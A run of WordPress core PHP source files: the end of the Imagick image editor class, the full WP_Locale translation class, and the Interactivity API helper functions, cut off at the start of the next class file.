		 * $angle is 360-$angle because Imagick rotates clockwise
		 * (GD rotates counter-clockwise)
		 */
		try {
			$this->image->rotateImage( new ImagickPixel( 'none' ), 360 - $angle );

			// Normalize EXIF orientation data so that display is consistent across devices.
			if ( is_callable( array( $this->image, 'setImageOrientation' ) ) && defined( 'Imagick::ORIENTATION_TOPLEFT' ) ) {
				$this->image->setImageOrientation( Imagick::ORIENTATION_TOPLEFT );
			}

			// Since this changes the dimensions of the image, update the size.
			$result = $this->update_size();
			if ( is_wp_error( $result ) ) {
				return $result;
			}

			$this->image->setImagePage( $this->size['width'], $this->size['height'], 0, 0 );
		} catch ( Exception $e ) {
			return new WP_Error( 'image_rotate_error', $e->getMessage() );
		}

		return true;
	}

	/**
	 * Flips current image.
	 *
	 * @since 3.5.0
	 *
	 * @param bool $horz Flip along Horizontal Axis
	 * @param bool $vert Flip along Vertical Axis
	 * @return true|WP_Error
	 */
	public function flip( $horz, $vert ) {
		try {
			if ( $horz ) {
				$this->image->flipImage();
			}

			if ( $vert ) {
				$this->image->flopImage();
			}

			// Normalize EXIF orientation data so that display is consistent across devices.
			if ( is_callable( array( $this->image, 'setImageOrientation' ) ) && defined( 'Imagick::ORIENTATION_TOPLEFT' ) ) {
				$this->image->setImageOrientation( Imagick::ORIENTATION_TOPLEFT );
			}
		} catch ( Exception $e ) {
			return new WP_Error( 'image_flip_error', $e->getMessage() );
		}

		return true;
	}

	/**
	 * Check if a JPEG image has EXIF Orientation tag and rotate it if needed.
	 *
	 * As ImageMagick copies the EXIF data to the flipped/rotated image, proceed only
	 * if EXIF Orientation can be reset afterwards.
	 *
	 * @since 5.3.0
	 *
	 * @return bool|WP_Error True if the image was rotated. False if no EXIF data or if the image doesn't need rotation.
	 *                       WP_Error if error while rotating.
	 */
	public function maybe_exif_rotate() {
		if ( is_callable( array( $this->image, 'setImageOrientation' ) ) && defined( 'Imagick::ORIENTATION_TOPLEFT' ) ) {
			return parent::maybe_exif_rotate();
		} else {
			return new WP_Error( 'write_exif_error', __( 'The image cannot be rotated because the embedded meta data cannot be updated.' ) );
		}
	}

	/**
	 * Saves current image to file.
	 *
	 * @since 3.5.0
	 * @since 6.0.0 The `$filesize` value was added to the returned array.
	 *
	 * @param string $destfilename Optional. Destination filename. Default null.
	 * @param string $mime_type    Optional. The mime-type. Default null.
	 * @return array|WP_Error {
	 *     Array on success or WP_Error if the file failed to save.
	 *
	 *     @type string $path      Path to the image file.
	 *     @type string $file      Name of the image file.
	 *     @type int    $width     Image width.
	 *     @type int    $height    Image height.
	 *     @type string $mime-type The mime type of the image.
	 *     @type int    $filesize  File size of the image.
	 * }
	 */
	public function save( $destfilename = null, $mime_type = null ) {
		$saved = $this->_save( $this->image, $destfilename, $mime_type );

		if ( ! is_wp_error( $saved ) ) {
			$this->file      = $saved['path'];
			$this->mime_type = $saved['mime-type'];

			try {
				$this->image->setImageFormat( strtoupper( $this->get_extension( $this->mime_type ) ) );
			} catch ( Exception $e ) {
				return new WP_Error( 'image_save_error', $e->getMessage(), $this->file );
			}
		}

		return $saved;
	}

	/**
	 * Removes PDF alpha after it's been read.
	 *
	 * @since 6.4.0
	 */
	protected function remove_pdf_alpha_channel() {
		$version = Imagick::getVersion();
		// Remove alpha channel if possible to avoid black backgrounds for Ghostscript >= 9.14. RemoveAlphaChannel added in ImageMagick 6.7.5.
		if ( $version['versionNumber'] >= 0x675 ) {
			try {
				// Imagick::ALPHACHANNEL_REMOVE mapped to RemoveAlphaChannel in PHP imagick 3.2.0b2.
				$this->image->setImageAlphaChannel( defined( 'Imagick::ALPHACHANNEL_REMOVE' ) ? Imagick::ALPHACHANNEL_REMOVE : 12 );
			} catch ( Exception $e ) {
				return new WP_Error( 'pdf_alpha_process_failed', $e->getMessage() );
			}
		}
	}

	/**
	 * @since 3.5.0
	 * @since 6.0.0 The `$filesize` value was added to the returned array.
	 *
	 * @param Imagick $image
	 * @param string  $filename
	 * @param string  $mime_type
	 * @return array|WP_Error {
	 *     Array on success or WP_Error if the file failed to save.
	 *
	 *     @type string $path      Path to the image file.
	 *     @type string $file      Name of the image file.
	 *     @type int    $width     Image width.
	 *     @type int    $height    Image height.
	 *     @type string $mime-type The mime type of the image.
	 *     @type int    $filesize  File size of the image.
	 * }
	 */
	protected function _save( $image, $filename = null, $mime_type = null ) {
		list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type );

		if ( ! $filename ) {
			$filename = $this->generate_filename( null, null, $extension );
		}

		try {
			// Store initial format.
			$orig_format = $this->image->getImageFormat();

			$this->image->setImageFormat( strtoupper( $this->get_extension( $mime_type ) ) );
		} catch ( Exception $e ) {
			return new WP_Error( 'image_save_error', $e->getMessage(), $filename );
		}

		if ( method_exists( $this->image, 'setInterlaceScheme' )
			&& method_exists( $this->image, 'getInterlaceScheme' )
			&& defined( 'Imagick::INTERLACE_PLANE' )
		) {
			$orig_interlace = $this->image->getInterlaceScheme();

			/** This filter is documented in wp-includes/class-wp-image-editor-gd.php */
			if ( apply_filters( 'image_save_progressive', false, $mime_type ) ) {
				$this->image->setInterlaceScheme( Imagick::INTERLACE_PLANE ); // True - line interlace output.
			} else {
				$this->image->setInterlaceScheme( Imagick::INTERLACE_NO ); // False - no interlace output.
			}
		}

		$write_image_result = $this->write_image( $this->image, $filename );
		if ( is_wp_error( $write_image_result ) ) {
			return $write_image_result;
		}

		try {
			// Reset original format.
			$this->image->setImageFormat( $orig_format );

			if ( isset( $orig_interlace ) ) {
				$this->image->setInterlaceScheme( $orig_interlace );
			}
		} catch ( Exception $e ) {
			return new WP_Error( 'image_save_error', $e->getMessage(), $filename );
		}

		// Set correct file permissions.
		$stat  = stat( dirname( $filename ) );
		$perms = $stat['mode'] & 0000666; // Same permissions as parent folder, strip off the executable bits.
		chmod( $filename, $perms );

		return array(
			'path'      => $filename,
			/** This filter is documented in wp-includes/class-wp-image-editor-gd.php */
			'file'      => wp_basename( apply_filters( 'image_make_intermediate_size', $filename ) ),
			'width'     => $this->size['width'],
			'height'    => $this->size['height'],
			'mime-type' => $mime_type,
			'filesize'  => wp_filesize( $filename ),
		);
	}

	/**
	 * Writes an image to a file or stream.
	 *
	 * @since 5.6.0
	 *
	 * @param Imagick $image
	 * @param string  $filename The destination filename or stream URL.
	 * @return true|WP_Error
	 */
	private function write_image( $image, $filename ) {
		if ( wp_is_stream( $filename ) ) {
			/*
			 * Due to reports of issues with streams with `Imagick::writeImageFile()` and `Imagick::writeImage()`, copies the blob instead.
			 * Checks for exact type due to: https://www.php.net/manual/en/function.file-put-contents.php
			 */
			if ( file_put_contents( $filename, $image->getImageBlob() ) === false ) {
				return new WP_Error(
					'image_save_error',
					sprintf(
						/* translators: %s: PHP function name. */
						__( '%s failed while writing image to stream.' ),
						'<code>file_put_contents()</code>'
					),
					$filename
				);
			} else {
				return true;
			}
		} else {
			$dirname = dirname( $filename );

			if ( ! wp_mkdir_p( $dirname ) ) {
				return new WP_Error(
					'image_save_error',
					sprintf(
						/* translators: %s: Directory path. */
						__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
						esc_html( $dirname )
					)
				);
			}

			try {
				return $image->writeImage( $filename );
			} catch ( Exception $e ) {
				return new WP_Error( 'image_save_error', $e->getMessage(), $filename );
			}
		}
	}

	/**
	 * Streams current image to browser.
	 *
	 * @since 3.5.0
	 *
	 * @param string $mime_type The mime type of the image.
	 * @return true|WP_Error True on success, WP_Error object on failure.
	 */
	public function stream( $mime_type = null ) {
		list( $filename, $extension, $mime_type ) = $this->get_output_format( null, $mime_type );

		try {
			// Temporarily change format for stream.
			$this->image->setImageFormat( strtoupper( $extension ) );

			// Output stream of image content.
			header( "Content-Type: $mime_type" );
			print $this->image->getImageBlob();

			// Reset image to original format.
			$this->image->setImageFormat( $this->get_extension( $this->mime_type ) );
		} catch ( Exception $e ) {
			return new WP_Error( 'image_stream_error', $e->getMessage() );
		}

		return true;
	}

	/**
	 * Strips all image meta except color profiles from an image.
	 *
	 * @since 4.5.0
	 *
	 * @return true|WP_Error True if stripping metadata was successful. WP_Error object on error.
	 */
	protected function strip_meta() {

		if ( ! is_callable( array( $this->image, 'getImageProfiles' ) ) ) {
			return new WP_Error(
				'image_strip_meta_error',
				sprintf(
					/* translators: %s: ImageMagick method name. */
					__( '%s is required to strip image meta.' ),
					'<code>Imagick::getImageProfiles()</code>'
				)
			);
		}

		if ( ! is_callable( array( $this->image, 'removeImageProfile' ) ) ) {
			return new WP_Error(
				'image_strip_meta_error',
				sprintf(
					/* translators: %s: ImageMagick method name. */
					__( '%s is required to strip image meta.' ),
					'<code>Imagick::removeImageProfile()</code>'
				)
			);
		}

		/*
		 * Protect a few profiles from being stripped for the following reasons:
		 *
		 * - icc:  Color profile information
		 * - icm:  Color profile information
		 * - iptc: Copyright data
		 * - exif: Orientation data
		 * - xmp:  Rights usage data
		 */
		$protected_profiles = array(
			'icc',
			'icm',
			'iptc',
			'exif',
			'xmp',
		);

		try {
			// Strip profiles.
			foreach ( $this->image->getImageProfiles( '*', true ) as $key => $value ) {
				if ( ! in_array( $key, $protected_profiles, true ) ) {
					$this->image->removeImageProfile( $key );
				}
			}
		} catch ( Exception $e ) {
			return new WP_Error( 'image_strip_meta_error', $e->getMessage() );
		}

		return true;
	}

	/**
	 * Sets up Imagick for PDF processing.
	 * Increases rendering DPI and only loads first page.
	 *
	 * @since 4.7.0
	 *
	 * @return string|WP_Error File to load or WP_Error on failure.
	 */
	protected function pdf_setup() {
		try {
			/*
			 * By default, PDFs are rendered in a very low resolution.
			 * We want the thumbnail to be readable, so increase the rendering DPI.
			 */
			$this->image->setResolution( 128, 128 );

			// Only load the first page.
			return $this->file . '[0]';
		} catch ( Exception $e ) {
			return new WP_Error( 'pdf_setup_failed', $e->getMessage(), $this->file );
		}
	}

	/**
	 * Load the image produced by Ghostscript.
	 *
	 * Includes a workaround for a bug in Ghostscript 8.70 that prevents processing of some PDF files
	 * when `use-cropbox` is set.
	 *
	 * @since 5.6.0
	 *
	 * @return true|WP_Error
	 */
	protected function pdf_load_source() {
		$filename = $this->pdf_setup();

		if ( is_wp_error( $filename ) ) {
			return $filename;
		}

		try {
			/*
			 * When generating thumbnails from cropped PDF pages, Imagemagick uses the uncropped
			 * area (resulting in unnecessary whitespace) unless the following option is set.
			 */
			$this->image->setOption( 'pdf:use-cropbox', true );

			/*
			 * Reading image after Imagick instantiation because `setResolution`
			 * only applies correctly before the image is read.
			 */
			$this->image->readImage( $filename );
		} catch ( Exception $e ) {
			// Attempt to run `gs` without the `use-cropbox` option. See #48853.
			$this->image->setOption( 'pdf:use-cropbox', false );

			$this->image->readImage( $filename );
		}

		return true;
	}
}
<?php
/**
 * Locale API: WP_Locale class
 *
 * @package WordPress
 * @subpackage i18n
 * @since 4.6.0
 */

/**
 * Core class used to store translated data for a locale.
 *
 * @since 2.1.0
 * @since 4.6.0 Moved to its own file from wp-includes/locale.php.
 */
#[AllowDynamicProperties]
class WP_Locale {
	/**
	 * Stores the translated strings for the full weekday names.
	 *
	 * @since 2.1.0
	 * @since 6.2.0 Initialized to an empty array.
	 * @var string[]
	 */
	public $weekday = array();

	/**
	 * Stores the translated strings for the one character weekday names.
	 *
	 * There is a hack to make sure that Tuesday and Thursday, as well
	 * as Sunday and Saturday, don't conflict. See init() method for more.
	 *
	 * @see WP_Locale::init() for how to handle the hack.
	 *
	 * @since 2.1.0
	 * @since 6.2.0 Initialized to an empty array.
	 * @var string[]
	 */
	public $weekday_initial = array();

	/**
	 * Stores the translated strings for the abbreviated weekday names.
	 *
	 * @since 2.1.0
	 * @since 6.2.0 Initialized to an empty array.
	 * @var string[]
	 */
	public $weekday_abbrev = array();

	/**
	 * Stores the translated strings for the full month names.
	 *
	 * @since 2.1.0
	 * @since 6.2.0 Initialized to an empty array.
	 * @var string[]
	 */
	public $month = array();

	/**
	 * Stores the translated strings for the month names in genitive case, if the locale specifies.
	 *
	 * @since 4.4.0
	 * @since 6.2.0 Initialized to an empty array.
	 * @var string[]
	 */
	public $month_genitive = array();

	/**
	 * Stores the translated strings for the abbreviated month names.
	 *
	 * @since 2.1.0
	 * @since 6.2.0 Initialized to an empty array.
	 * @var string[]
	 */
	public $month_abbrev = array();

	/**
	 * Stores the translated strings for 'am' and 'pm'.
	 *
	 * Also the capitalized versions.
	 *
	 * @since 2.1.0
	 * @since 6.2.0 Initialized to an empty array.
	 * @var string[]
	 */
	public $meridiem = array();

	/**
	 * The text direction of the locale language.
	 *
	 * Default is left to right 'ltr'.
	 *
	 * @since 2.1.0
	 * @var string
	 */
	public $text_direction = 'ltr';

	/**
	 * The thousands separator and decimal point values used for localizing numbers.
	 *
	 * @since 2.3.0
	 * @since 6.2.0 Initialized to an empty array.
	 * @var array
	 */
	public $number_format = array();

	/**
	 * The separator string used for localizing list item separator.
	 *
	 * @since 6.0.0
	 * @var string
	 */
	public $list_item_separator;

	/**
	 * The word count type of the locale language.
	 *
	 * Default is 'words'.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	public $word_count_type;

	/**
	 * Constructor which calls helper methods to set up object variables.
	 *
	 * @since 2.1.0
	 */
	public function __construct() {
		$this->init();
		$this->register_globals();
	}

	/**
	 * Sets up the translated strings and object properties.
	 *
	 * The method creates the translatable strings for various
	 * calendar elements. Which allows for specifying locale
	 * specific calendar names and text direction.
	 *
	 * @since 2.1.0
	 *
	 * @global string $text_direction
	 */
	public function init() {
		// The weekdays.
		$this->weekday[0] = /* translators: Weekday. */ __( 'Sunday' );
		$this->weekday[1] = /* translators: Weekday. */ __( 'Monday' );
		$this->weekday[2] = /* translators: Weekday. */ __( 'Tuesday' );
		$this->weekday[3] = /* translators: Weekday. */ __( 'Wednesday' );
		$this->weekday[4] = /* translators: Weekday. */ __( 'Thursday' );
		$this->weekday[5] = /* translators: Weekday. */ __( 'Friday' );
		$this->weekday[6] = /* translators: Weekday. */ __( 'Saturday' );

		// The first letter of each day.
		$this->weekday_initial[ $this->weekday[0] ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'S', 'Sunday initial' );
		$this->weekday_initial[ $this->weekday[1] ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'M', 'Monday initial' );
		$this->weekday_initial[ $this->weekday[2] ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'T', 'Tuesday initial' );
		$this->weekday_initial[ $this->weekday[3] ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'W', 'Wednesday initial' );
		$this->weekday_initial[ $this->weekday[4] ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'T', 'Thursday initial' );
		$this->weekday_initial[ $this->weekday[5] ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'F', 'Friday initial' );
		$this->weekday_initial[ $this->weekday[6] ] = /* translators: One-letter abbreviation of the weekday. */ _x( 'S', 'Saturday initial' );

		// Abbreviations for each day.
		$this->weekday_abbrev[ $this->weekday[0] ] = /* translators: Three-letter abbreviation of the weekday. */ __( 'Sun' );
		$this->weekday_abbrev[ $this->weekday[1] ] = /* translators: Three-letter abbreviation of the weekday. */ __( 'Mon' );
		$this->weekday_abbrev[ $this->weekday[2] ] = /* translators: Three-letter abbreviation of the weekday. */ __( 'Tue' );
		$this->weekday_abbrev[ $this->weekday[3] ] = /* translators: Three-letter abbreviation of the weekday. */ __( 'Wed' );
		$this->weekday_abbrev[ $this->weekday[4] ] = /* translators: Three-letter abbreviation of the weekday. */ __( 'Thu' );
		$this->weekday_abbrev[ $this->weekday[5] ] = /* translators: Three-letter abbreviation of the weekday. */ __( 'Fri' );
		$this->weekday_abbrev[ $this->weekday[6] ] = /* translators: Three-letter abbreviation of the weekday. */ __( 'Sat' );

		// The months.
		$this->month['01'] = /* translators: Month name. */ __( 'January' );
		$this->month['02'] = /* translators: Month name. */ __( 'February' );
		$this->month['03'] = /* translators: Month name. */ __( 'March' );
		$this->month['04'] = /* translators: Month name. */ __( 'April' );
		$this->month['05'] = /* translators: Month name. */ __( 'May' );
		$this->month['06'] = /* translators: Month name. */ __( 'June' );
		$this->month['07'] = /* translators: Month name. */ __( 'July' );
		$this->month['08'] = /* translators: Month name. */ __( 'August' );
		$this->month['09'] = /* translators: Month name. */ __( 'September' );
		$this->month['10'] = /* translators: Month name. */ __( 'October' );
		$this->month['11'] = /* translators: Month name. */ __( 'November' );
		$this->month['12'] = /* translators: Month name. */ __( 'December' );

		// The months, genitive.
		$this->month_genitive['01'] = /* translators: Month name, genitive. */ _x( 'January', 'genitive' );
		$this->month_genitive['02'] = /* translators: Month name, genitive. */ _x( 'February', 'genitive' );
		$this->month_genitive['03'] = /* translators: Month name, genitive. */ _x( 'March', 'genitive' );
		$this->month_genitive['04'] = /* translators: Month name, genitive. */ _x( 'April', 'genitive' );
		$this->month_genitive['05'] = /* translators: Month name, genitive. */ _x( 'May', 'genitive' );
		$this->month_genitive['06'] = /* translators: Month name, genitive. */ _x( 'June', 'genitive' );
		$this->month_genitive['07'] = /* translators: Month name, genitive. */ _x( 'July', 'genitive' );
		$this->month_genitive['08'] = /* translators: Month name, genitive. */ _x( 'August', 'genitive' );
		$this->month_genitive['09'] = /* translators: Month name, genitive. */ _x( 'September', 'genitive' );
		$this->month_genitive['10'] = /* translators: Month name, genitive. */ _x( 'October', 'genitive' );
		$this->month_genitive['11'] = /* translators: Month name, genitive. */ _x( 'November', 'genitive' );
		$this->month_genitive['12'] = /* translators: Month name, genitive. */ _x( 'December', 'genitive' );

		// Abbreviations for each month.
		$this->month_abbrev[ $this->month['01'] ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Jan', 'January abbreviation' );
		$this->month_abbrev[ $this->month['02'] ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Feb', 'February abbreviation' );
		$this->month_abbrev[ $this->month['03'] ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Mar', 'March abbreviation' );
		$this->month_abbrev[ $this->month['04'] ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Apr', 'April abbreviation' );
		$this->month_abbrev[ $this->month['05'] ] = /* translators: Three-letter abbreviation of the month. */ _x( 'May', 'May abbreviation' );
		$this->month_abbrev[ $this->month['06'] ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Jun', 'June abbreviation' );
		$this->month_abbrev[ $this->month['07'] ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Jul', 'July abbreviation' );
		$this->month_abbrev[ $this->month['08'] ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Aug', 'August abbreviation' );
		$this->month_abbrev[ $this->month['09'] ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Sep', 'September abbreviation' );
		$this->month_abbrev[ $this->month['10'] ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Oct', 'October abbreviation' );
		$this->month_abbrev[ $this->month['11'] ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Nov', 'November abbreviation' );
		$this->month_abbrev[ $this->month['12'] ] = /* translators: Three-letter abbreviation of the month. */ _x( 'Dec', 'December abbreviation' );

		// The meridiems.
		$this->meridiem['am'] = __( 'am' );
		$this->meridiem['pm'] = __( 'pm' );
		$this->meridiem['AM'] = __( 'AM' );
		$this->meridiem['PM'] = __( 'PM' );

		/*
		 * Numbers formatting.
		 * See https://www.php.net/number_format
		 */

		/* translators: $thousands_sep argument for https://www.php.net/number_format, default is ',' */
		$thousands_sep = __( 'number_format_thousands_sep' );

		// Replace space with a non-breaking space to avoid wrapping.
		$thousands_sep = str_replace( ' ', '&nbsp;', $thousands_sep );

		$this->number_format['thousands_sep'] = ( 'number_format_thousands_sep' === $thousands_sep ) ? ',' : $thousands_sep;

		/* translators: $dec_point argument for https://www.php.net/number_format, default is '.' */
		$decimal_point = __( 'number_format_decimal_point' );

		$this->number_format['decimal_point'] = ( 'number_format_decimal_point' === $decimal_point ) ? '.' : $decimal_point;

		/* translators: Used between list items, there is a space after the comma. */
		$this->list_item_separator = __( ', ' );

		// Set text direction.
		if ( isset( $GLOBALS['text_direction'] ) ) {
			$this->text_direction = $GLOBALS['text_direction'];

			/* translators: 'rtl' or 'ltr'. This sets the text direction for WordPress. */
		} elseif ( 'rtl' === _x( 'ltr', 'text direction' ) ) {
			$this->text_direction = 'rtl';
		}

		// Set the word count type.
		$this->word_count_type = $this->get_word_count_type();
	}

	/**
	 * Retrieves the full translated weekday word.
	 *
	 * Week starts on translated Sunday and can be fetched
	 * by using 0 (zero). So the week starts with 0 (zero)
	 * and ends on Saturday with is fetched by using 6 (six).
	 *
	 * @since 2.1.0
	 *
	 * @param int $weekday_number 0 for Sunday through 6 Saturday.
	 * @return string Full translated weekday.
	 */
	public function get_weekday( $weekday_number ) {
		return $this->weekday[ $weekday_number ];
	}

	/**
	 * Retrieves the translated weekday initial.
	 *
	 * The weekday initial is retrieved by the translated
	 * full weekday word. When translating the weekday initial
	 * pay attention to make sure that the starting letter does
	 * not conflict.
	 *
	 * @since 2.1.0
	 *
	 * @param string $weekday_name Full translated weekday word.
	 * @return string Translated weekday initial.
	 */
	public function get_weekday_initial( $weekday_name ) {
		return $this->weekday_initial[ $weekday_name ];
	}

	/**
	 * Retrieves the translated weekday abbreviation.
	 *
	 * The weekday abbreviation is retrieved by the translated
	 * full weekday word.
	 *
	 * @since 2.1.0
	 *
	 * @param string $weekday_name Full translated weekday word.
	 * @return string Translated weekday abbreviation.
	 */
	public function get_weekday_abbrev( $weekday_name ) {
		return $this->weekday_abbrev[ $weekday_name ];
	}

	/**
	 * Retrieves the full translated month by month number.
	 *
	 * The $month_number parameter has to be a string
	 * because it must have the '0' in front of any number
	 * that is less than 10. Starts from '01' and ends at
	 * '12'.
	 *
	 * You can use an integer instead and it will add the
	 * '0' before the numbers less than 10 for you.
	 *
	 * @since 2.1.0
	 *
	 * @param string|int $month_number '01' through '12'.
	 * @return string Translated full month name.
	 */
	public function get_month( $month_number ) {
		return $this->month[ zeroise( $month_number, 2 ) ];
	}

	/**
	 * Retrieves translated version of month abbreviation string.
	 *
	 * The $month_name parameter is expected to be the translated or
	 * translatable version of the month.
	 *
	 * @since 2.1.0
	 *
	 * @param string $month_name Translated month to get abbreviated version.
	 * @return string Translated abbreviated month.
	 */
	public function get_month_abbrev( $month_name ) {
		return $this->month_abbrev[ $month_name ];
	}

	/**
	 * Retrieves translated version of meridiem string.
	 *
	 * The $meridiem parameter is expected to not be translated.
	 *
	 * @since 2.1.0
	 *
	 * @param string $meridiem Either 'am', 'pm', 'AM', or 'PM'. Not translated version.
	 * @return string Translated version
	 */
	public function get_meridiem( $meridiem ) {
		return $this->meridiem[ $meridiem ];
	}

	/**
	 * Global variables are deprecated.
	 *
	 * For backward compatibility only.
	 *
	 * @deprecated For backward compatibility only.
	 *
	 * @global array $weekday
	 * @global array $weekday_initial
	 * @global array $weekday_abbrev
	 * @global array $month
	 * @global array $month_abbrev
	 *
	 * @since 2.1.0
	 */
	public function register_globals() {
		$GLOBALS['weekday']         = $this->weekday;
		$GLOBALS['weekday_initial'] = $this->weekday_initial;
		$GLOBALS['weekday_abbrev']  = $this->weekday_abbrev;
		$GLOBALS['month']           = $this->month;
		$GLOBALS['month_abbrev']    = $this->month_abbrev;
	}

	/**
	 * Checks if current locale is RTL.
	 *
	 * @since 3.0.0
	 * @return bool Whether locale is RTL.
	 */
	public function is_rtl() {
		return 'rtl' === $this->text_direction;
	}

	/**
	 * Registers date/time format strings for general POT.
	 *
	 * Private, unused method to add some date/time formats translated
	 * on wp-admin/options-general.php to the general POT that would
	 * otherwise be added to the admin POT.
	 *
	 * @since 3.6.0
	 */
	public function _strings_for_pot() {
		/* translators: Localized date format, see https://www.php.net/manual/datetime.format.php */
		__( 'F j, Y' );
		/* translators: Localized time format, see https://www.php.net/manual/datetime.format.php */
		__( 'g:i a' );
		/* translators: Localized date and time format, see https://www.php.net/manual/datetime.format.php */
		__( 'F j, Y g:i a' );
	}

	/**
	 * Retrieves the localized list item separator.
	 *
	 * @since 6.0.0
	 *
	 * @return string Localized list item separator.
	 */
	public function get_list_item_separator() {
		return $this->list_item_separator;
	}

	/**
	 * Retrieves the localized word count type.
	 *
	 * @since 6.2.0
	 *
	 * @return string Localized word count type. Possible values are `characters_excluding_spaces`,
	 *                `characters_including_spaces`, or `words`. Defaults to `words`.
	 */
	public function get_word_count_type() {

		/*
		 * translators: If your word count is based on single characters (e.g. East Asian characters),
		 * enter 'characters_excluding_spaces' or 'characters_including_spaces'. Otherwise, enter 'words'.
		 * Do not translate into your own language.
		 */
		$word_count_type = is_null( $this->word_count_type ) ? _x( 'words', 'Word count type. Do not translate!' ) : $this->word_count_type;

		// Check for valid types.
		if ( 'characters_excluding_spaces' !== $word_count_type && 'characters_including_spaces' !== $word_count_type ) {
			// Defaults to 'words'.
			$word_count_type = 'words';
		}

		return $word_count_type;
	}
}
<?php
/**
 * Interactivity API: Functions and hooks
 *
 * @package WordPress
 * @subpackage Interactivity API
 * @since 6.5.0
 */

/**
 * Processes the directives on the rendered HTML of the interactive blocks.
 *
 * This processes only one root interactive block at a time because the
 * rendered HTML of that block contains the rendered HTML of all its inner
 * blocks, including any interactive block. It does so by ignoring all the
 * interactive inner blocks until the root interactive block is processed.
 *
 * @since 6.5.0
 *
 * @param array $parsed_block The parsed block.
 * @return array The same parsed block.
 */
function wp_interactivity_process_directives_of_interactive_blocks( array $parsed_block ): array {
	static $root_interactive_block = null;

	/*
	 * Checks whether a root interactive block is already annotated for
	 * processing, and if it is, it ignores the subsequent ones.
	 */
	if ( null === $root_interactive_block ) {
		$block_name = $parsed_block['blockName'];
		$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block_name );

		if (
			isset( $block_name ) &&
			( ( isset( $block_type->supports['interactivity'] ) && true === $block_type->supports['interactivity'] ) ||
			( isset( $block_type->supports['interactivity']['interactive'] ) && true === $block_type->supports['interactivity']['interactive'] ) )
		) {
			// Annotates the root interactive block for processing.
			$root_interactive_block = array( $block_name, $parsed_block );

			/*
			 * Adds a filter to process the root interactive block once it has
			 * finished rendering.
			 */
			$process_interactive_blocks = static function ( string $content, array $parsed_block ) use ( &$root_interactive_block, &$process_interactive_blocks ): string {
				// Checks whether the current block is the root interactive block.
				list($root_block_name, $root_parsed_block) = $root_interactive_block;
				if ( $root_block_name === $parsed_block['blockName'] && $parsed_block === $root_parsed_block ) {
					// The root interactive blocks has finished rendering, process it.
					$content = wp_interactivity_process_directives( $content );
					// Removes the filter and reset the root interactive block.
					remove_filter( 'render_block_' . $parsed_block['blockName'], $process_interactive_blocks );
					$root_interactive_block = null;
				}
				return $content;
			};

			/*
			 * Uses a priority of 100 to ensure that other filters can add additional
			 * directives before the processing starts.
			 */
			add_filter( 'render_block_' . $block_name, $process_interactive_blocks, 100, 2 );
		}
	}

	return $parsed_block;
}
/*
 * Uses a priority of 100 to ensure that other filters can add additional attributes to
 * $parsed_block before the processing starts.
 */
add_filter( 'render_block_data', 'wp_interactivity_process_directives_of_interactive_blocks', 100, 1 );

/**
 * Retrieves the main WP_Interactivity_API instance.
 *
 * It provides access to the WP_Interactivity_API instance, creating one if it
 * doesn't exist yet.
 *
 * @since 6.5.0
 *
 * @global WP_Interactivity_API $wp_interactivity
 *
 * @return WP_Interactivity_API The main WP_Interactivity_API instance.
 */
function wp_interactivity(): WP_Interactivity_API {
	global $wp_interactivity;
	if ( ! ( $wp_interactivity instanceof WP_Interactivity_API ) ) {
		$wp_interactivity = new WP_Interactivity_API();
	}
	return $wp_interactivity;
}

/**
 * Processes the interactivity directives contained within the HTML content
 * and updates the markup accordingly.
 *
 * @since 6.5.0
 *
 * @param string $html The HTML content to process.
 * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags.
 */
function wp_interactivity_process_directives( string $html ): string {
	return wp_interactivity()->process_directives( $html );
}

/**
 * Gets and/or sets the initial state of an Interactivity API store for a
 * given namespace.
 *
 * If state for that store namespace already exists, it merges the new
 * provided state with the existing one.
 *
 * @since 6.5.0
 *
 * @param string $store_namespace The unique store namespace identifier.
 * @param array  $state           Optional. The array that will be merged with the existing state for the specified
 *                                store namespace.
 * @return array The state for the specified store namespace. This will be the updated state if a $state argument was
 *               provided.
 */
function wp_interactivity_state( string $store_namespace, array $state = array() ): array {
	return wp_interactivity()->state( $store_namespace, $state );
}

/**
 * Gets and/or sets the configuration of the Interactivity API for a given
 * store namespace.
 *
 * If configuration for that store namespace exists, it merges the new
 * provided configuration with the existing one.
 *
 * @since 6.5.0
 *
 * @param string $store_namespace The unique store namespace identifier.
 * @param array  $config          Optional. The array that will be merged with the existing configuration for the
 *                                specified store namespace.
 * @return array The configuration for the specified store namespace. This will be the updated configuration if a
 *               $config argument was provided.
 */
function wp_interactivity_config( string $store_namespace, array $config = array() ): array {
	return wp_interactivity()->config( $store_namespace, $config );
}

/**
 * Generates a `data-wp-context` directive attribute by encoding a context
 * array.
 *
 * This helper function simplifies the creation of `data-wp-context` directives
 * by providing a way to pass an array of data, which encodes into a JSON string
 * safe for direct use as a HTML attribute value.
 *
 * Example:
 *
 *     <div <?php echo wp_interactivity_data_wp_context( array( 'isOpen' => true, 'count' => 0 ) ); ?>>
 *
 * @since 6.5.0
 *
 * @param array  $context         The array of context data to encode.
 * @param string $store_namespace Optional. The unique store namespace identifier.
 * @return string A complete `data-wp-context` directive with a JSON encoded value representing the context array and
 *                the store namespace if specified.
 */
function wp_interactivity_data_wp_context( array $context, string $store_namespace = '' ): string {
	return 'data-wp-context=\'' .
		( $store_namespace ? $store_namespace . '::' : '' ) .
		( empty( $context ) ? '{}' : wp_json_encode( $context, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP ) ) .
		'\'';
}
<?php
/**
 * Interactivity API: WP_Interactivity_API class.
 *
 * @package WordPress
 * @subpackage Interactivity API
